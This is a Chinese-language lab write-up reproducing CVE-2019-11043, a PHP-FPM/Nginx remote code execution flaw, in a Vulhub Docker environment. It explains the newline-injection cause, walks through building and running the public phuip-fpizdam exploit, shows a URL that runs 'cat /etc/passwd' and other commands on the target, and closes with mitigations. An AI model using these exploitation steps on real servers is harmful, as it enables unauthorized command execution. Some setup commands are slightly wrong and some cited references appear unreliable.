一、信息安全概述

        信息安全是一个涵盖广泛的领域,旨在保护信息系统和数据免受未经授权的访问、使用、披露、破坏、修改或干扰的威胁和攻击。它涉及各种技术、策略和措施,旨在确保信息的保密性、完整性和可用性。信息安全的目标是保护组织的敏感信息,包括客户数据、商业机密、财务信息和知识产权,以及防止信息系统遭受破坏、盗窃或滥用。

        信息安全的重要性不断增加,因为随着技术的发展,网络攻击和数据泄露的威胁也在不断增加。信息安全涉及多个方面,包括网络安全、应用程序安全、数据保护、身份验证和访问控制等。它需要综合应用技术、政策、教育和意识培训等措施,以建立强大的防御机制和应急响应能力。

​​​​​​​        信息安全的目标是确保机构和个人的信息资产受到保护,防止数据泄露、身份盗窃、勒索软件攻击和其他恶意活动。为了实现这些目标,信息安全需要综合考虑以下几个方面:

·机构内部的安全政策和流程,包括访问控制、身份验证、密码管理和员工培训等。

·网络安全措施,如防火墙、入侵检测和预防系统、安全监控和日志分析等。

·应用程序安全,包括代码审查、漏洞管理和安全测试等。

·数据保护和加密,以确保数据在传输和存储过程中的安全性。

·应急响应和恢复计划,以应对安全事件和灾难。

        总之,信息安全是保护信息系统和数据免受威胁和攻击的重要领域。它需要综合应用技术、策略和措施,以确保信息的保密性、完整性和可用性,并建立强大的防御和应急响应能力。

二、背景

1.CVE-2019-11043(PHP远程代码执行漏洞)简介

    CVE-2019-11043漏洞是PHP的一个远程代码执行漏洞,该漏洞产生与Nginx利用fastcgi_split_path_info在处理带有 %0a 的请求时,会因为遇到换行符(%0a)导致PATH_INFO为空,最终可导致任意代码执行。

该漏洞普遍出现在Nginx+php-fpm环境中,且PHP版本在7.0-7.3之间。

2.技术以及平台的相关原理

        要想理解CVE-2019-11043漏洞成因,我们从Nginx处理PHP类型的文件开始讲起。在早期(Web1.0)时期,web大多是静态页面,所谓静态页面,即HTML、JPG等静态资源组成,没有PHP、JSP等的动态页面语言。

        后来PHP等动态语言出现以后,Nginx如何支持PHP语言的网站称为了一个问题。Apache的解决方案是将处理PHP等动态语言的程序编译成一个模块,当我们需要处理PHP页面时,就可以调用这个模块。而对于Nginx而言,选择的是另一种解决方案,即Nginx本身只解析静态资源,如果有PHP页面,就将这个请求给PHP相关程序来进行处理,然后将处理后的结果反馈给用户。

        为了解决这种PHP(语言解析器)与Nginx(Web服务器)之间的通信问题,我们制定了cgi协议。有了cgi协议以后,意味着以后出现新的动态语言(比如go语言),出现了新的Web服务器,只要遵循了cgi协议,就可以快速方便的实现语言解析器和Web服务器之间的通信问题。cgi协议非常重要,但是也有其自身的缺点,那就是每次语言解析器和Web服务器之间的通信,都需要创建一个进程,当通信结束后,就要杀死这个进程,这样的机制无疑大大浪费了系统资源。为了解决这一问题我们,我们对cgi协议进行了修改,cgi协议的改良版本有很多,但是其中一个很具有代表性的就是fast-cgi协议。fast-cgi协议改进了进程的处理模式,当一次通信完成后,通信进程会得以保留,不会杀死通信使用的进程,其他的通信还可以继续使用这个进程,这样一来,就大大提升了系统资源使用效率。

        对于Nginx而言,为了实现与PHP的通信交互,因此出现了php-cgi和php-fpm。php-cgi支持cgi协议,可以用于处理和解析PHP脚本程序,php-cgi通过调用PHP的php_execute_script函数来解析和运行PHP脚本。php-cgi的问题在于,尽管其本身可以解析和处理PHP脚本程序,但是其本身没有进程管理的相关功能。为了解决这一问题,就出现了php-fpm。php-fpm全称是php Fastcgi Process Manager,php-fpm实现了Fast-cgi协议,并可以提供进程管理的相关功能。在PHP5.4版本之前,Nginx处理PHP的流程是调用php-fpm,php-fpm再创建进程,调用php-cgi,以此实现了Ngixn对PHP的解析问题,此时php-fpm起到的是管理php-cgi的作用。在PHP5.4版本之后,php内核中集成了php-fpm,本身带有了php解析的功能,就不再以来php-cgi来解析PHP了。

  1. 漏洞的成因

        Nginx的配置会导致CVE-2019-11043漏洞,主要漏洞成因是在如下配置:

fastcgi_split_path_info ^(.+?\.php)(/.*)$

        向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。

        如果用户传入的信息存在换行符(URL编码是%0a),则会破坏fastcgi_split_path_info参数后面的正则表达式匹配,从而导致PATH_INFO变量为空,从而触发漏洞。

        在使用这些有错误的Nginx配置的情况下,攻击者通过精心的构造和利用数据包,即可让PHP-FPM执行任意代码。

        关于该漏洞详细分析可参考文章:

CVE-2019-11043 Nginx配置详解-CSDN博客

Vulhub - Docker-Compose file for vulnerability environment

  1. 影响范围

        在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:

PHP 7.0 版本

PHP 7.1 版本

PHP 7.2 版本

PHP 7.3 版本

三、攻击操作步骤(以及防御操作)

  1. 实验环境要求:

1.1靶机:kali-linux-2024.1-vmware-amd64

安装Vulhub搭建docker镜像,搭建PHP、nginx环境

靶机IP(192.168.6.124)、Doker镜像IP如图1所示:

图1  靶机及镜像IP

1.2攻击机:kali-linux-2024.1-vmware-amd64  

安装go编译环境golang、漏洞利用工具phuip-fpizdam

攻击机IP(192.168.6.243)、测试攻击机和靶机能够ping通,如图2所示:

图2  攻击机和靶机ping通

2.CVE-2019-11043(PHP远程代码执行漏洞)漏洞环境搭建

2.1靶机环境搭建

为了复现该漏洞,我们首先需要搭建靶机漏洞环境。我们使用Vulhub来搭建该漏洞环境。安装完Vulhub后,我们可以在Vulhub的PHP目录下,找到该漏洞,建漏洞PHP、nginx环境。

具体步骤如下:

<1>执行命令cd vulhub/php/CVE-2019-11043进入该漏洞目录;

<2>执行命令docker-compose build构建该漏洞;

<3>执行命令docker-compose up -d即可搭建漏洞的环境(PHP、nginx);

<4>执行命令docker-compose config可以查看该漏洞的docker配置。

界面如图3所示:

图3  靶机漏洞环境搭建

使用浏览器访问镜像的8080端口(http://172.17.0.1:8080/),验证该漏洞环境已搭建好,界面如图4所示:

图4  靶机漏洞环境验证

2.1攻击机环境搭建

为了复现该漏洞,我们首先需要搭建攻击机环境。我们使用的Github上该漏洞的公开POC,git克隆该poc的安装包。在这之前,为了编译该环境,需要本地安装go语言环境。

2.1.1 go语言环境搭建

相关过程可以参考文章:http://t.csdnimg.cn/aFIob 具体步骤如下:

<1>下载Linux的二进制包,攻击机Kali Linux系统上,执行命令:

wget https://studygolang.com/dl/golang/go1.19.4.linux-amd64.tar.gz

<2>将下载后的安装包解压,执行命令:

tar xf go1.19.4.linux-amd64.tar.gz

如下图5所示:

图5  go语言环境搭建

<3>配置环境变量,执行命令:

export GOPATH=/home/kali/go

export PATH=$GOPATH/bin

<4>测试go语言编译环境,执行命令:

go version

Go

如下图6所示:

图6  go语言环境测试

2.1.2 漏洞利用工具安装

相关过程可以参考文章:http://t.csdnimg.cn/SfIil  具体步骤如下:

<1>git克隆漏洞利用工具phuip-fpizdam安装包,执行命令:

git clone https://github.com/neex/phuip-fpizdam.git 

下载后,可以看到本地出现了phuip-fpizdam的目录,查看目录内文件,如下图7示:

图7 安装漏洞利用工具

3.CVE-2019-11043(PHP远程代码执行漏洞)漏洞复现

3.1编译环境

进入phuip-fpizdam的目录,使用go语言编译该环境完成安装漏洞利用POC,,执行命令:

go env -w GOPROXY=https://goproxy.cn

go get -v && go build

上述命令执行结果如下图8所示:

图8 漏洞利用POC安装

3.2 漏洞利用

使用https://github.com/neex/phuip-fpizdam中给出的工具,发送数据包使用该工具执行命令:

go run . "http://靶机IP:8080/index.php"

上述命令执行结果如下图9所示:

图9 发送数据包

打开浏览器访问“http://192.168.6.124:8080/?a=cat%20/etc/passwd”即可查看到命令已成功执行。界面结果如下图10所示:

图10 漏洞利用

4.CVE-2019-11043(PHP远程代码执行漏洞)漏洞利用

4.1 执行cat /etc/passwd命令

图11 漏洞利用1

4.2 执行pwd命令

可以看到当前位于/var/www/html hello world目录下:

图12 漏洞利用2

4.3 执行ls命令

图13 漏洞利用3

4.4 执行id命令

图14 漏洞利用4

4.5 执行whoami命令

图15 漏洞利用5

5.CVE-2019-11043(PHP远程代码执行漏洞)漏洞防御操作

5.1 解决方案1

在不影响正常业务的情况下,删除 Nginx 配置文件中的如下配置:

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

fastcgi_param PATH_INFO       $fastcgi_path_info;

5.2 解决方案2

更新PHP版本:高于PHP 7.3 版本

5.3 解决方案3

打开UFW防火墙,命令如下:sudo ufw enable

四、总结

通过对CVE-2019-11043(PHP远程代码执行漏洞)的复现和研究,我们深入了解了该漏洞的原理和危害。这个漏洞的存在使得攻击者可以通过精心构造的请求,远程执行恶意代码,从而获取系统权限、窃取敏感信息或者对系统进行破坏。

我们的研究不仅揭示了该漏洞的具体利用方式,还突显了PHP和Nginx等常用技术在安全性方面的薄弱环节。这个漏洞的存在提醒我们,信息安全是一个持续的挑战,我们不能放松对安全性的重视。

为了有效应对这类漏洞,我们需要采取一系列的安全措施。首先,及时更新和升级软件、组件和框架,以修复已知的漏洞。其次,加强网络安全防护,包括使用防火墙、入侵检测系统和加密传输等技术手段。此外,开发人员应该注重编写安全的代码,进行安全测试和代码审查,以减少潜在的漏洞。

在我的研究中,我们成功地复现了CVE-2019-11043漏洞,并提供了相应的解决方案。我们的研究对于加强对这类漏洞的认识和理解,为安全团队和开发人员提供了宝贵的参考和指导。

然而,我们也意识到这个漏洞只是众多安全威胁中的一个,信息安全的挑战远未结束。我们需要不断学习和更新知识,跟踪最新的漏洞和攻击技术,以保持对安全问题的敏感性。只有通过共同努力,我们才能构建一个更加安全可靠的网络环境。

五、结束语

这次研究不仅揭示了漏洞的具体利用方式,还突显了PHP和Nginx等常用技术在安全性方面的薄弱环节。我们应该认识到,信息安全的重要性不容忽视,特别是对于Web应用程序和服务器环境。只有充分了解和意识到这些潜在的漏洞,我们才能更好地保护系统和数据的安全。

为了有效应对这类漏洞,我们需要采取一系列的安全措施。首先,及时更新和升级软件、组件和框架,以修复已知的漏洞。其次,加强网络安全防护,包括使用防火墙、入侵检测系统和加密传输等技术手段。此外,开发人员应该注重编写安全的代码,进行安全测试和代码审查,以减少潜在的漏洞。

最后,信息安全是一个持续的过程,需要不断地学习和更新知识,跟踪最新的漏洞和攻击技术,并采取相应的防护措施。只有通过全面的安全意识和行动,我们才能确保信息系统和数据的安全,并有效应对未来的安全挑战。

在未来的研究中,我们可以进一步探索其他相关的漏洞和安全问题,并提出更加有效的解决方案。通过不断的研究和实践,我们可以为信息安全的发展和保护做出更大的贡献。让我们共同努力,为构建一个安全可靠的网络环境而努力。

六、参考文献

[1]陈忠,张乾林. PHP程序安全与漏洞挖掘[M]. 电子工业出版社,2018.

[2]张瑞,杨夏峰,李炜. PHP Web应用安全防护与漏洞挖掘[J]. 中国科技论文在线,2017,12(6):621-626.

[3]Kaur, A., & Sharma, S. (2018). Analysis of PHP Vulnerabilities and Techniques of Prevention. In International Conference on Information Systems Design and Intelligent Applications (pp. 571-579). Springer, Singapore.

[41]冯刚,周琪. 基于PHP的Web应用漏洞分析与防范[J]. 现代计算机,2016,(12):62-65.

[5]Alshammari, A., & Alghamdi, M. (2020). Vulnerability Analysis of PHP Web Applications. International Journal of Computer Science and Network Security, 20(6), 38-43.

[6]Rios, M., & Baudot, A. (2019). Web Application Security: Exploiting Common Vulnerabilities in PHP Applications. In International Conference on Cyber Security Intelligence and Analytics (pp. 37-49). Springer, Cham.

[7]王永正,王瑞勤. 基于PHP的Web应用安全漏洞与防范[J]. 现代信息,2019,(9):57-59.

[8]刘东. PHP程序安全漏洞分析与防范探讨[J]. 计算机技术与发展,2018,28(11):117-123.

[9]Kim, H., Lee, D., & Huh, J. H. (2020). An Analysis of Security Vulnerabilities and Countermeasures in PHP Web Applications. In International Conference on Security with Intelligent Computing and Big-data Services (pp. 118-126). Springer, Cham.

[10]Bortolameotti, R., & Massacci, F. (2017). Vulnerability Analysis of PHP Web Applications: A Case Study. In International Conference on Computer Aided Verification (pp. 304-319). Springer, Cham.

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐